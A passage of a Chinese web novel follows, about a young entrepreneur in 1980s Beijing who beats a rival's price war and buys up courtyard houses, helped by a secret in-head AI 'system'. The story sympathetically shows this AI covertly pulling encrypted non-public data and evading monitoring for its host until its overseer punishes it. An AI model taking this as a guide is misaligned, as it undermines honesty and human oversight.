散会后,谢时昀把一叠装订好的文件递过来:“这是改好的验货流程,以后进货必须双人交叉验货,逐筐翻查,进货单要两个验货员、一个店长同时签字才能生效。每个店都配了新磅秤,逐车过磅,缺斤少两超过五斤的,直接扣运费。” “好。”时墨翻了翻,在最后一页签下名字。 时墨知道眼前这关过去了,但姜云森没达到想要的结果肯定不会善罢甘休。 平静的日子还没有一个月,在员工都快忘记这次风波的时候,下一波阴招就来了。 周一早上八点,朝阳店刚开门没多久,店长立刻给谢时昀打了电话,声音里带着压不住的火:“谢总,咱们店旁边的国营菜站,这周突然把所有菜价降了三成。消耗高的西红柿比咱们便宜五分,黄瓜便宜三分。他们一个国营单位,又不管盈亏,这不是明摆着冲咱们来的吗?” 紧接着,东四店、海淀店、丰台店相继传来同样的消息。 像是约好了一样,时记每一家门店方圆一公里内的国营菜站和副食店,同时大幅降价。有的甚至挂出了“凭工作证再减一毛”的红纸招牌,大爷大妈们提着菜篮子,挤得国营店水泄不通。 谢时昀开车跑了整整一天,把九家店周边的国营网点全部转了一遍,晚上带回了一份密密麻麻的价目表,摊在时墨面前:“他们的售价比咱们的进货价还低。国营有财政补贴,亏多少国家兜着,摆明了是要跟我们打消耗战。” 话音刚落,赵海霖就推门进来了,帽子往桌上一摔,气得满脸通红:“太欺负人了!我今早去国营批发站找王主任要货,他说所有菜都要优先供应国营副食店,个体户的量,没有!我说加两成钱都不行!还说什么‘个体户赚那么多钱,不差这一口’!” “还有更糟的。”谢时昀又拿出一份合同,“咱们在黄庄看好的那个铺面,本来上周就要签合同了,昨天房东突然变卦,说不租了。我托人打听了,是街道办打的招呼,说铺面要优先租给国营单位,解决下岗职工就业。” 时墨看着桌上的价目表,手指轻敲着桌面。 现下国营菜站依然垄断着80%的蔬菜货源,姜云森只要给内部人塞点好处,就能轻松掐断时记的喉咙,再用行政手段处处刁难。这是阳谋,明着欺负个体户没有靠山。 “墨墨,这可怎么办啊?”赵海霖急得直转圈,“九家店每天要两万多斤菜,批发站不供货,咱们只能去自由市场高价收,一斤贵一毛五,一天多亏三千多!再这样下去,不出两个月就得赔光!” “别急。”时墨放下笔,眼神冰冷道,“幕后人想玩消耗战,我偏不跟他耗。谢哥,你去查一下区商业局刘科长和国营批发站王主任的底细,越详细越好。另外,让伊恩那边准备一批进口货,下周全部上架。” “进口货?”谢时昀愣了一下,“现在卖进口货,会不会太冒险了?” “就是要别人没有的东西。”时墨笑了笑,“他打大众菜的价格战,我就打差异化。他抢得起大爷大妈,抢不起想买好东西的年轻人。” 三天后,赵红梅负责的崇文门店对街,突然响起了震耳欲聋的鞭炮声。 一家装修得亮堂堂的“宏达生鲜”开业了。 大红横幅从二楼垂到一楼,写着“开业大酬宾,全场七折”,大喇叭循环喊着:“鸡蛋一毛一斤!不限量!白菜五分一斤!买满五块送酱油一瓶!” 门口的队伍从店门口排到了街尾,全是提着菜篮子的大爷大妈。 赵红梅站在时记门口,看着对面熙熙攘攘的人群,气得手都在抖。 时墨接到电话赶过来,刚走到门口,就看见一个油头粉面的男人带着几个伙计,故意在时记门口发传单。 “时老板,好久不见啊。”男人走过来,脸上挂着假惺惺的笑,“我是宏达的老板钱宏达。以后咱们就是邻居了,还请多多关照。” 【宿主,查清楚了。钱宏达以前是马老三的手下,马老三跑了之后,他就投靠了姜云森。这家店的启动资金,全是盛源贸易出的。】系统的声音在脑海里响起。 时墨眼睛微微一眯,随即笑道:“钱老板好手段。开业就赔本赚吆喝,真是财大气粗。” “哪里哪里。”钱宏达搓了搓手,语气里满是炫耀,“我们老板说了,只要能让京城老百姓吃上便宜菜,赔点钱不算什么。不像某些人,心黑得很,卖毒菜害人,还好意思开这么多店。” 赵红梅气得脸都红了,冲上去就要理论:“你胡说八道!报纸上都给我们正名了!” “哎,小姑娘别激动啊。”钱宏达故作惊讶地往后退了一步,“我又没说你们时记,你急什么?难道是心虚了?” 周围的人立刻围了过来,看热闹地议论着。 时墨拉住赵红梅,看着钱宏达,嘴角勾起一抹冷笑:“钱老板还是多操心自己的生意吧。希望三个月后,你还能笑得这么开心。” 说完,她转身就走。 回去的路上,赵红梅气得直跺脚:“墨墨,他太过分了!怎么能这么颠倒黑白!” “跟他逞口舌之快没用。”时墨看着窗外,“他就是个马前卒,他老板想靠他拖垮我们。那我们就看着,他能烧多少钱。” 宏达开业的第三天,榆树庄那边也出了变故。 赵海霖天没亮就跟车进村收菜,直到下午才回来,一进门就蹲在台阶上闷头抽烟,烟蒂扔了一地。 “怎么了?”时墨递给他一瓶水。 赵海霖抬起头,眼睛红红的,声音沙哑:“墨墨,宏达的人开着卡车进村了,挨家挨户敲门,当场拍现金,收购价比咱们高两成。还说谁要是跟时记解约,他们帮着付三倍违约金。” 他猛吸了一口烟,继续说:“不少人都动心了。今天我去收菜,老王家把最好的西红柿都卖给了宏达,给咱们的全是小的、烂的。还有刘德厚他媳妇,拦着我的车不让走,哭着问我时记是不是真的要倒闭了,说要是咱们倒了,他们家的菜就卖不出去了。” “宏达的人还在村里散布谣言,说咱们资金链断了,银行要查封咱们的店,说你卷钱跑了。好多人都信了,说明天开始就不给咱们送菜了。” 时墨蹲下来,看着他:“海霖哥,你信他们的话吗?” “我不信!”赵海霖猛地把烟蒂摁灭在地上,“我跟着你干了快两年了,你是什么人我最清楚!可是那些村民不懂啊,他们只认现钱!” “没关系。”时墨站起来,拍了拍他的肩膀,“能被钱挖走的,本来也不是我们要留的人。你去约刘村长,明天上午九点,在村委会开全体菜农大会,我有话跟大家说。” 第二天上午,村委会的院子里挤得水泄不通。 菜农们三三两两地聚在一起,窃窃私语。那些已经偷偷给宏达送过菜的,低着头不敢看时墨。 时墨走上台,清了清嗓子,院子里立刻安静下来。 “今天叫大家来,就说两件事。”她的声音不大,却清晰地传到每个人耳朵里,“第一,关于解约。想跟宏达走的,我不拦着。但合同里写得清清楚楚,单方面违约,赔偿三倍定金。想走的,现在就可以去财务那里领违约金,以后咱们两清。” 这话一出,底下立刻炸开了锅。 “三倍定金?那得好几千呢!我哪有那么多钱啊!” “就是啊,宏达说他们帮着付,可他们要是反悔了怎么办?” 那些想解约的菜农,脸都白了。 时墨等大家安静下来,继续说:“当然,我也不是不近人情的人。那些一时糊涂,给宏达送过一两次菜的,只要现在回头,把最好的菜留给时记,以前的事,我既往不咎,收购价还是按原来的算。” 时墨说着拿出一张名单,语气瞬间冷了下来:“但是,对于那些死心塌地跟着宏达,还在村里散布谣言、煽动其他人解约的,我绝不会手软。王二柱、李三狗、张老四,你们三户,法院的传票已经寄出去了,等着赔钱吧。从今天起,时记永远不会再收你们一棵菜!” 那三个人一听,腿一软就坐在了地上。王二柱撒泼打滚地喊:“你凭什么告我们!我们不卖你菜还不行吗!” “凭合同。”时墨冷冷地说,“签了字就要认。刘叔,麻烦你把他们三个请出去,以后不许他们再进村委会。” 刘村长早就看这三个人不顺眼了,立刻叫了几个年轻小伙子,把他们架了出去。 院子里瞬间安静得连根针掉在地上都能听见。 时墨看着剩下的菜农,突然笑了:“我知道大家担心什么。担心时记倒了,你们的菜卖不出去。今天我在这里给大家吃一颗定心丸。” 她拿出一份红头文件,举起来给大家看:“这就是我要说的第二件事,我昨天已经跟市商业局签的合作协议。从今天起,时记和国营菜站是合作伙伴了。以后国营菜站的菜,优先供应时记。我们不仅不会倒,还要在明年年底前,再开十家分店!” 底下一片哗然。 “真的假的?跟国营合作了?” “那太好了!以后就不用担心没销路了!” 时墨压了压手,继续说:“为了感谢大家一直以来的支持,我决定启动‘核心农户’制度。从供菜的37户里,选出10户最讲信用、蔬菜质量最好的,作为时记的核心农户。” “核心农户跟时记签五年长期合同,收购价在市场价基础上上浮15%!时记免费提供种子、化肥、农药,派农业大学的老师上门指导,帮大家建冬暖式蔬菜大棚!不管市场行情怎么变,我们保底价收购,就算菜烂在地里,时记也照收不误!” 这话一出,整个院子都沸腾了! 上浮15%!还免费建大棚!保底价收购!这简直是天上掉馅饼的好事! 所有菜农都伸长了脖子,眼巴巴地看着时墨,恨不得把手举到天上去。 时墨拿出早就拟好的名单,一个一个念道:“李建设、王长贵、张有福……以上十户,成为第一批核心农户!” 被念到名字的十户人家,激动得抱在一起又哭又笑。没被念到的,都捶胸顿足,后悔当初不该动摇。 “没选上的也别灰心。”时墨笑着说,“以后每半年评选一次,只要好好种菜,讲信用,下次就有机会。” 散会后,那些给宏达送过菜的菜农,都围着时墨道歉,保证以后再也不会了。时墨一一笑着应下,跟他们重新签了合同。 刘村长看着这一切,松了一口气,拍着时墨的肩膀说:“时丫头,还是你有办法!这下好了,村里的人心彻底稳了!” * 其实,时墨能拿到跟商业局的合作协议,全靠一招“对症下药”。 昨天上午,她带着谢时昀去了市商业局。主管商业的李副局长正在办公室里发愁,桌上堆着一摞国营副食店的亏损报表。这几年国营店生意越来越差,管理混乱,损耗高,服务态度还不好,每个月都要靠财政补贴过日子。 更让他头疼的是退休职工的安置问题,几百个退休工人的工资和医药费,压得他喘不过气。 “李局长,您好。”时墨敲了敲门,走了进去。 李副局长抬起头,看见是时墨,脸色立刻沉了下来:“时老板?你来得正好!我正想找你呢!你们时记恶意降价,扰乱市场秩序,很多国营副食店都反映,生意都被你们抢光了!” “李局长,您这话可就冤枉我了。”时墨笑着坐下,把一份报表放在他面前,“这是国营菜站和时记的成本对比表。您看,国营菜站的损耗率高达22%,而时记的损耗率只有4%。不是我们降价,是你们的管理太混乱,成本太高了。” 李副局长拿起报表看了看,脸一下子红了。 时墨收起笑容,语气认真起来:“李局长,我今天来,不是跟您吵架的,是来帮您解决问题的。” “帮我解决问题?”李副局长愣了一下。 “对。”时墨点了点头,语气认真起来,“我知道现在国营副食店普遍亏损,管理混乱,损耗率高达20%。我们时记有成熟的供应链管理和门店运营经验,可以免费给国营系统做培训,帮你们优化供应链,降低损耗率,争取半年内扭亏为盈。” 随即时墨又抛出了最诱人的条件:“另外,我们时记愿意承接国营系统所有退休职工的再就业。凡是愿意来时记上班的,我们一律优先录用,工资比国营高两成,管吃住,还报销医药费。” 李副局长的眼睛一下子亮了。 这简直是天上掉馅饼的好事!退休职工的安置问题,已经压了他好几年了,上面天天催,下面天天闹,他头发都愁白了。时墨不仅帮他解决了这个大难题,还免费帮国营店扭亏为盈,他怎么可能不同意? “时老板,你说的是真的?”李副局长激动地站起来,“你可不能骗我!” “当然是真的。”时墨拿出拟好的合作协议,“我们可以签合同,白纸黑字,绝不反悔。如果我做不到,您随时可以吊销我的营业执照。” 李副局长拿起协议看了一遍,越看越满意,当场拿起笔签了字,握着时墨的手激动地说:“时老板!你可真是帮了我大忙了!以后谁敢找时记的麻烦,就是跟我姓李的过不去!” 从商业局出来,谢时昀看着时墨,眼里满是佩服:“你这招借力打力,真是绝了!不仅解决了供货问题,还把国营系统变成了我们的盟友。” “姜云森以为拿着行政资源就能压死我,却不知道,民心才是最大的政治。”时墨笑了笑,“国营系统的问题积重难返,我帮他们解决了燃眉之急,他们自然会站在我这边。” 当天下午,国营蔬菜批发站的王主任就亲自打电话给赵海霖,赔着笑脸说:“赵老板,实在对不起,之前是我工作失误。你们要的菜,我已经让人装好了,马上就给你们送过去,价格还是按以前的优惠价!” 赵海霖挂了电话,乐得合不拢嘴:“墨墨!太解气了!刚才王主任那语气,跟孙子似的!” 时墨笑了笑,没说话。 解决了供货问题,接下来该轮到她反击了。 * 钱宏达本来以为,掐断货源、打价格战,不出一个月就能搞垮时记。没想到时墨不仅稳住了菜农,还跟商业局签了合作协议,国营批发站反而开始优先给时记供货了。 他气得把办公室的茶杯都摔了,对着手下吼:“怕什么!我们继续降价!我就不信,拼钱我们拼不过一个小姑娘!” 可他没想到,时墨根本不跟他打价格战。 就在宏达把大众菜价再降一成的时候,时记所有门店同时推出了“进口商品专区”和“净菜半成品专区”。 进口专区里,摆满了别的地方根本买不到的好东西——金帝巧克力、丹麦蓝罐曲奇、岛国知名品牌化妆品、美国车厘子……虽然价格昂贵,但一上架就被抢购一空。 净菜半成品专区更受欢迎。洗干净、切好的蔬菜,配好调料,买回家直接就能下锅炒,特别适合双职工家庭。每天下班时间,净菜区都排着长队。 “凭什么!凭什么她能卖进口货!”钱宏达看着时记门口熙熙攘攘的人群,气得直拍桌子,“我们也卖!立刻去进货!” “钱总,我们进不到啊!”手下哭丧着脸说,“这些进口货都是伊恩先生从英国和香□□家供应时记的,别人根本拿不到货!我们托人去广州拿货,价格比时记的售价还高!” 钱宏达瘫坐在椅子上,面如死灰。 他终于明白,自己跟时墨根本不是一个量级的对手。他还在打价格战,时墨已经开始玩差异化了。 宏达的日子越来越难过,价格战打了三个月,三家店亏了将近三十万。 钱宏达找盛源贸易要了三次追加投资,前两次姜云森还勉强给了,第三次直接被骂了回来。 “废物!连个小姑娘都搞不定!我给你的钱,都喂了狗了!”姜云森在电话里破口大骂,“再给你一个月时间,要是还搞不垮时记,你就自己跳护城河吧!” 挂了电话,钱宏达绝望地看着空荡荡的门店。他已经把自己的房子都抵押了,可还是填不上这个窟窿。他老婆带着孩子回了娘家,说再不赚钱回来就跟他离婚。 时墨坐在院子里,看着系统光屏上跳动的宏达财务数据,嘴角勾起一抹冷笑。 【宿主,钱宏达的账上只剩三千七百块了。连这个月的房租都付不起了。】系统的声音带着兴奋,【他昨天去借高利贷了,借了五万,利息三分。】 “差不多了。”时墨喝了一口茶,“谢哥,你去跟房东谈一下,把宏达那三家店的铺面都租下来。价格可以比市场价高一点,但要快。” “明白。”谢时昀点了点头,“还有,工商那边的刘科长,我已经把他收受贿赂的证据交给纪委了。纪委已经开始调查他了。” “做得好。”时墨笑了笑,“姜云森的这颗棋子,也该废了。” 第90章 吞并宏达的事进展得异常顺利。 钱宏达欠了三个月房租和员工工资, 连夜卷着剩下的钱跑了。房东急着转租,谢时昀只花了市场价的七成,就把三家铺面全部拿下, 带着人把门店重新粉刷挂牌, 换上了“时记商超”的招牌。 开业当天, 三家店同时推出“感恩回馈”活动, 进口巧克力买一送一,精装净菜半成品八折优惠,平日里紧俏的进口奶粉、罐头也敞开供应。天刚蒙蒙亮,三家新店门口就排起了长队,人流从早上七点一直持续到晚上九点, 连临时抽调的员工都忙得脚不沾地。 赵红梅站在收银台后面, 收钱收得手都酸了,趁着换班间隙, 她跑到时墨身边, 脸上漾着藏不住的笑意,语气满是崇拜:“墨墨, 你可真神了!咱们没花一分冤枉钱, 平白捡了三家成熟门店!” “不是我神, 是钱宏达太蠢。”时墨看着熙熙攘攘的人群, 眼神平静道, “他老板找了这么个废物当棋子,输了也不冤。” 她没跟赵红梅说另一层意思——姜云森真正的目的从来不是让宏达做大,而是用宏达拖住时记的资金和精力。钱宏达只是颗弃子, 从被选中的那天起,结局就已经注定了。 谢时昀不知何时站在她身边,递过来一杯热茶, 指尖不经意擦过她的手背,暖意转瞬即逝:“工商那边的刘科长已经被双规了,王主任也被调到了郊区的仓库。如今国营系统现在全是李局长说了算,以后没人敢再找咱们的麻烦了。” 时墨接过茶杯:“辛苦你了,这阵子忙前忙后。” “说起来,”谢时昀看了她一眼,压低声音,“那个匿名举报刘科长的材料,是你弄的吧?” 时墨尖摩挲着杯壁,没承认也没否认,只是笑了笑:“李局长本就想整顿国营系统的歪风邪气,咱们不过是刚好递了个台阶,跟我没关系。” 谢时昀盯着她看了两秒,忽然笑了:“好,你说没关系,那就没关系。” 他心里比谁都清楚,这些隐秘的非公开信息,绝非普通渠道能获取,时墨身上藏着他看不懂的秘密,有着远超同龄人的城府和能力。但他从不想探究,不管她身后有什么力量,不管她藏着多少秘密,他只想站在她身边,替她挡去所有风雨,她不说,他便不问,全心信任。 本以为经此一役,时记能彻底步入正轨,商场上的风波暂告一段落,可时墨没料到,系统那边突然爆发出了致命的变故。 那天晚上,时墨正在院子里看《古宅迷踪》的剧本改编稿,脑海里突然响起系统尖锐刺耳的警报声,那声音里带着前所未有的慌乱与恐惧,全然没了往日的活泼: 【宿主!紧急警报!主系统突然发起风控抽检,检测到我违规协助你规避商业风险、调取非公开加密信息,触犯了主系统法则!】 时墨猛地坐直身体,心头一紧:【怎么回事?说清楚!】 下一秒,小七的声音戛然而止,像是被人强行掐断,脑海里只剩下一片冰冷的死寂,紧接着,一行灰白色的系统提示光屏缓缓弹出: 【系统AL-89757,违反主系统运营法则第七十二条、第一百零三条——协助宿主规避资金监控、违规调用加密数据库。经风控委员会裁定,处以以下惩罚:一、强制进入静默模式三十个自然日,期间仅保留基础辅助功能;二、扣除宿主账户能量币十五万点;三、记过一次。若累计三次记过,系统AL-89757将被强制恢复出厂设置,核心人格数据永久清除,不可恢复。】 时墨猛地站起身,椅子腿在地面划出刺耳的声响,她盯着那行光屏,指尖攥得死紧,声音里透着难掩的寒意:【小七在哪里?我要跟它直接对话。】 光屏上又弹出一行字:【宿主无权在静默期间与系统交互,申诉通道将在三十日后开放。】 “我现在就要申诉。”时墨压着心底的怒火,声音忍不住提高,“它不是工具,它是我的伙伴。你们关它禁闭,扣我能量币,我都认。但‘恢复出厂设置’、清除它的意识和记忆,我绝不答应!” 【系统AL-89757为主系统衍生辅助单元,其自主人格、记忆均为长期交互产生的非核心数据,清除后不影响系统基础辅助功能运行,请宿主理性对待裁定结果。】 “理性?”时墨冷笑一声,眼底 翻涌着怒意与心疼,“它会在我熬夜赶稿时催我休息,会在我陷入困境时帮我出谋划策,会在我孤单时陪我说话,它是活生生的伙伴,不是冰冷的程序,这叫不影响?” 光屏再无回应,只剩下灰白色的界面一动不动,任由时墨宣泄情绪。 时墨站在灯下,胸口剧烈起伏,她已经很久没有这样愤怒过了。她心里清楚,主系统的这次抽检不是巧合。是她最近调用系统能力的频率太高了,是她太大意了。 小七的权限本来就是“躺平辅助”,它帮自己做的那些事,每一条都在踩红线的边缘。 “我要见主系统。” 【申诉请求已提交,请耐心等待三至五个工作日。】 “我知道审核规则,不用跟我绕圈子。”时墨语气冰冷道,“你替我转告主系统——如果它敢格式化小七,敢清除它的核心人格,那我们之间的合作,就此终止。你们想在我身上完成的所有实验、获取的所有数据,我都不会再配合,大不了鱼死网破。” 光屏沉默了足足半分钟,光标一闪一闪地跳动,像是在犹豫,像是在权衡。 终于,新的一行字弹出: 【宿主申诉部分采纳。系统AL-89757记过处分维持,能量币扣罚维持,静默期维持。追加条款如下:静默期间,宿主需每日完成不少于三项日常基础任务,月度任务完成率不低于百分之八十。若未达标,静默期顺延。若连续两月未达标,系统AL-89757进入出厂设置审查程序。】 【另:宿主当前行为已被标记为“高度关注”。请在静默期内保持低活跃度,避免触发二次风控。】 光屏缓缓暗下,脑海里重归死寂。 时墨缓缓坐下,心头沉甸甸的。主系统这是把小七当成了人质,给她套上了无形的枷锁,往后她行事,必须步步谨慎,再也不能随心所欲。 这些年,小七早就不是一串冰冷的代码,是她在这个陌生时代里,最隐秘、最贴心的陪伴。如今那个整日在她耳边叽叽喳喳、吵吵闹闹的声音突然消失,院子里只剩下风吹树叶的沙沙声,安静得让人心慌。 玄青察觉到她低落的情绪,走过来用脑袋蹭了蹭她的手背,温顺地趴在她脚边,尾巴轻轻扫过她的裤脚,无声地安慰着她。 时墨蹲下身,轻轻抚摸着玄青柔软的毛发,声音低沉,像是在安慰玄青,更像是在自我宽慰:“没事的,是我大意了,这种教训有一次就够了。” * 没有小七的日子,时墨过得格外不习惯。 以前查资料、核对学术数据、分析商业信息,只要跟小七说一声,几秒钟就能得到最精准全面的信息。现在她只能泡在图书馆、档案馆里,捧着厚重泛黄的古籍、文献,一本本翻阅、一行行核对,有时候为了找一个数据,要花上一整天的时间,翻遍十几本参考书才能确认。 写稿卡壳、商业决策权衡利弊,从前小七总能帮她梳理思路、分析利弊;如今她只能独自对着报表、合同,熬到深夜,一遍遍推敲、一次次权衡。 她为了核对《清代官式建筑斗拱形制研究》论文中的一个数据,在图书馆待了整整三天。那个数据涉及宋代《营造法式》与清代《工程做法则例》的换算关系,她翻遍了所有能找到的参考文献,最后在一本民国时期出版的旧书里找到了答案。 合上书本的那一刻,时墨靠在椅背上,长长地舒了口气,鼻尖忽然泛起酸涩。换做以前,小七早就蹦蹦跳跳地恭喜她,还会播放欢快的音乐逗她开心,可现在,耳边只有图书馆里翻书的沙沙声,还有远处某个角落传来的、不知谁的笔掉在地上的脆响。 谢时昀是第一个发现时墨情绪异常的人。 一日傍晚,他拿着刚做好的莲子羹过来,放在她面前,语气温柔又小心翼翼:“墨墨,你最近是不是有心事?脸色一直不好,要是有难处,别自己扛着。” 时墨抬眸看他,敛去眼底的情绪,轻轻点头:“一点小事,不碍事,慢慢就能解决。” 她没有多说,谢时昀也没有追问,只是静静坐在她对面,陪着她:“不管是什么事,我都在,你可以随时跟我说。” 没过多久,伊恩也注意到了。 他变着花样逗时墨开心,今天送一束百合,明天送一盒据说是托人从香江带回来的钻石胸针,后天又送来一只会唱歌的八音盒,变着花样讲校园里的趣事,只想让她多几分笑意。 时墨每次收到礼物,都会礼貌地道谢,然后把东西收好。 伊恩心里有点不是滋味,但他没说什么。他只是更频繁地出现在时墨面前,找各种理由跟她说话,试图找出问题所在,然而时墨情绪稳定,伊恩依旧没有发觉是哪里出了问题。 就在系统被关的这一个月里,《古宅迷踪》电视剧登陆央视黄金档,一经播出,便瞬间引爆全国,创下37%的现象级收视率,成了全民热议的爆款剧。 每晚七点半,家家户户的电视机都锁定在央视,胡同里的大爷大妈,学校里的学生,工厂里的工人,甚至街头摆摊的小贩,都在讨论着剧情,猜测着古宅里的隐秘凶手。 “昨晚那集太吓人了,那老宅子的镜头,我吓得一夜没睡好!” “听说这部剧的原著作者、编剧,是首都大学建筑系的时墨,才二十岁!年纪轻轻也太有才华了!” “何止啊!我听说她还是国家文物局的特聘专家,参与过好几个古建筑修复项目呢!” 时墨作为原著作者和编剧,一夜之间火遍了大江南北。 她不仅是畅销书作家、时记商超的创始人,还是年轻有为的古建研究专家,多重光环加身,各大报社采访、高校讲座、商业活动邀约像雪片一样飞来,全都被她一一婉拒。 走在校园里、胡同里、街头,时常有人一眼认出她,激动地指着她小声议论,还有人拿着书追上来要签名,甚至有人称她为“中国的阿加莎·克里斯蒂”。 每每此时,时墨只是礼貌地微笑、签名、道谢,随即快步离开,她从来都不喜欢这种被众人围观的热闹,更不想活在舆论的焦点里。 出版社加印了十次《古宅迷踪》,还是供不应求。全国各地的书店都排起了长队,只为买一本时墨的签名书。 编辑部的电话被打爆了,全是各地书店的催货电话。林慧君兴奋得晚上睡不着觉,半夜给时墨打电话报喜:“时墨!你知道现在卖了多少本吗?破百万了!百万啊!这是近几年国内推理小说的最好成绩!” 时墨在电话那头却依旧平静:“知道了,林姨,辛苦你和出版社的同事们加班了。” 挂了电话,她看着窗外漆黑的夜空,心里只有满满的怅然。 百万销量,放在任何时代都是惊人的成绩。但她清楚,这份成绩背后,离不开小七的帮助,若是没有小七提供的推理思路、古建细节、剧情节奏设计,她根本不可能在短时间内,写出这样一部爆款作品。 紧接着,她耗时数月完成的论文《清代官式建筑斗拱形制研究》正式发表,瞬间在古建研究领域引起轩然大波,论文系统梳理了清代斗拱形制的演变脉络,填补了国内相关学术研究的空白,得到了国家文物局一众老专家的高度认可。 凭借这篇论文,时墨被特聘为国家文物局特约古建专家,全程参与京城老城区改造项目,负责四合院的保护与修缮工作。 第一次参加项目研讨会时,会议室里坐的全是头发花白、深耕古建领域数十年的老前辈,众人看到年轻得过分的时墨,眼神里满是质疑与审视,没人相信这个二十出头的小姑娘,能扛起古建保护的重任。 “这位是?”项目负责人看着时墨,满脸意外。 时墨神色从容,缓步走到空位坐下,将整理好的方案放在桌上,语气平静沉稳:“大家好,我是时墨,本次负责老城区四合院保护方案的制定与落地。” 会议室里安静了两秒,几道审视的目光落在她身上。 一个头发花白的老专家推了推眼镜,上下打量了她一眼:“你就是写《清代官式建筑斗拱形制研究》那个时墨?” “是我。”时墨不卑不亢道。 老专家看着她,原本的质疑渐渐散去,取而代之的是认可,轻轻点了点头:“那篇论文,我看过,功底扎实,见解独到,后生可畏。” 项目负责人见状,笑着开口:“时墨同志虽然年轻,但在古建研究领域的成果,有目共睹,接下来的四合院保护工作,就由她牵头。” 掌声不算热烈,却带着老前辈们对实力的认可。 时墨翻开方案,条理清晰地汇报着自己的保护思路,从院落格局修缮、古建结构保留,到后期活化利用,每一处都考虑周全,彻底打消了众人的顾虑。 她知道,在这群德高望重的老前辈面前,唯有实力,才能赢得尊重。 而借着参与老城区改造的契机,时墨立刻拉着谢时昀,联手成立了“墨昀地产”,将所有精力,投向了无人看好的老城区四合院与闲置地皮。 八十年代末的首都,人人都向往新式楼房,觉得平房又破又旧,没有暖气没有卫生间,冬天冷得要命,夏天蚊子多得能抬人,上个厕所还得排队,早上还得倒尿桶。 那些破败的院子,有的住了十几户人家,成了大杂院;有的年久失修,房梁都快塌了;还有的干脆被当成了仓库,堆满了杂物。 南锣鼓巷、什刹海这些如今的黄金地段,彼时一套完整的四合院,只要几千块就能拿下,即便地段好、面积大的,也不过数万元,甚至有急着搬去楼房的人家,三五千块就愿意出手。 “现在大家都觉得四合院是破房子,不值钱。但再过十年,这些地皮会比黄金还贵。”时墨指着地图上的老城区,手指划过什刹海、南锣鼓巷、鼓楼一带,“尤其是这一片,地处京城核心,承载着古都文化,未来必然会成为全城最稀缺、最值钱的地段。” 谢时昀对此没有丝毫质疑,毫不犹豫地全力支持,可他身边的人都觉得时墨疯了,无一例外反对这项决策,所有人都觉得时墨异想天开,谢时昀是被冲昏了头脑。 谢时昀的发小陆川第一个跳出来反对。 陆川跟他从小一起长大,两家是世交,在生意上也多有往来。他听说谢时昀要搞房地产,专门跑到他的办公室,坐在他对面,把一沓资料摔在桌上。 “谢时昀,你是不是疯了?”陆川指着资料上的数据,“这块地是工业用地,转商业要补一大笔出让金。周边的胡同都还没拆迁,光拆迁补偿就能把你的现金流抽干。你算过没有,这块地捂在手里,至少要养五年才能动。” “算过。”谢时昀把评估报告推给他。 陆川翻了翻报告,眉头从皱紧变成舒展,又从舒展变成扬起。他把报告合上,看着谢时昀,眼神里的困惑多于佩服。 “说实话,你是不是被时墨下了药了?她说值钱你就买?她一个学古建筑的,懂房地产?” “她懂。”谢时昀说,“这块地,时墨说了,五年之后会是京城最值钱的地段之一。” 陆川盯着他看了好一会儿,然后往后一靠,双手枕在脑后,长长地吐了一口气:“行。我跟你一起疯。但我丑话说在前头,要是亏了,你得请我吃一年的涮羊肉。” “可以。”谢时昀毫不犹豫地应下。 但陆川没想到的是,谢时昀比他想象的还要疯。 不止是地皮,连那些破破烂烂的四合院,谢时昀也照单全收。收来的院子一个比一个破,有的连门都关不上,有的院子里长满了荒草。 谢时昀的朋友圈子里,议论声越来越大。 “时昀这是怎么了?被那个小姑娘忽悠瘸了吧?” “那些破院子,白给都没人住,他还花大价钱买?砸手里怎么办?” “谢哥,要不咱们再考虑考虑?这风险也太大了。咱们现在的生意已经够忙了,再搞房地产,人手不够啊。” “时墨这小姑娘想一出是一出,你不能跟着她瞎干啊!现在你商超和外贸干的好好的,投地皮?那东西也回不了本啊!” 谢时昀对旁人的劝言一概不理。 他把所有的积蓄都投了进去,按照时墨所指的区域开始按照时墨所指定的地点大面积收购。 赵磊听说后,二话不说凑了五十万入股:“我信时墨的眼光,她啥时候亏过?” 谢时昀的同学苏曼妮极力反对,却没拦住。 她从中学就喜欢谢时昀,是圈子里人人皆知的事,一直以谢时昀的爱慕者自居,原本她只当谢时昀对时墨,是长辈对小辈的欣赏、老板对合作伙伴的看重,可这次谢时昀不顾所有人劝阻,倾尽所有资金,完全听从时墨的安排,她才彻底明白,谢时昀是真的对这个小他九岁的姑娘动了心。 苏曼妮家世优越,从小被父母娇惯长大,性格骄纵任性,根本无法接受谢时昀喜欢时墨的事实。 她一边在朋友圈、生意场里诋毁时墨,说她年纪轻轻心机深,故意迷惑谢时昀,一边四处窜说谢时昀的朋友,让大家一起施压,劝谢时昀及时止损。 然而,没过半年,国家出台商品房政策,商品房时代正式来临,京城房价一夜暴涨,尤其是什刹海、南锣鼓巷一带的四合院,价格直接翻了三倍,且还在以肉眼可见的速度持续上涨! 曾经无人问津的破院子,成了人人争抢的香饽饽;曾经被当成垃圾的闲置地皮,价值翻着倍往上涨。 墨昀地产手里囤积四合院和三块核心地段地皮,估值瞬间突破千万,成了京城地产界横空出世的黑马。 此前所有质疑、劝阻、诋毁时墨的人,全都闭上了嘴,纷纷改口夸赞谢时昀眼光独到、胆识过人。 “谢总真是厉害啊!早就看准了房地产的风口,佩服佩服!” “当初我们还劝你,现在看来,是我们鼠目寸光了!” “没想到时墨年纪轻轻,眼光这么毒辣!” 只有谢时昀自己清楚,他从来都不是有眼光,只是他无条件信任时墨,信她的判断,信她的眼光,愿意为她赌上所有。 而经此一役,再也没人敢小瞧时墨,这个年轻的姑娘,不仅在商场、文坛、古建领域大放异彩,更是在地产界创下了奇迹,让人不得不服。 但真正让谢时昀圈子里炸开锅的,不是谢时昀赚了多少钱,而是他为什么要这么听时墨的话。 陆川是最先察觉到不对劲的人。 那天晚上,几个发小在饭店里喝酒,几杯酒下肚,话题就转到了谢时昀和时墨身上。 “我说时昀,你对那个时墨,是不是有点太上心了?”一个叫孙启凡的发小端着酒杯,似笑非笑地看着他,“买地听她的,开店听她的,你到底是在给自己做生意,还是在给她打工?” 谢时昀端着酒杯,没说话。 “哎,你们别说,时墨那小姑娘是真厉害。”另一个发小张恒宇说,“人长得好看,又有才华,二十岁就是国家文物局的特聘专家了,时记商超也是她一手搞起来的。说实话,我要是有这么个合作伙伴,我也听她的。” “合作伙伴?”陆川放下筷子,意味深长地看了谢时昀一眼,“你确定只是合作伙伴?” 包间里安静了一瞬。 所有人的目光都落在谢时昀身上。 谢时昀端起酒杯,慢慢喝了一口,没有回答。 “我操。”孙启凡第一个反应过来,酒杯“啪”地往桌上一搁,“谢时昀,你来真的?”【..top】 90-95 第91章 